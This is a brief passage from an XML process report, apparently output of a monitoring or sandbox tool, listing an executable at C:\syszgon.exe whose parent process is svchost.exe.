<parent_id>
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836

</parent_id>

<parent_image>C:\WINDOWS\system32\svchost.exe</parent_image>

<path>C:\syszgon.exe</path>

</entry>

</report>


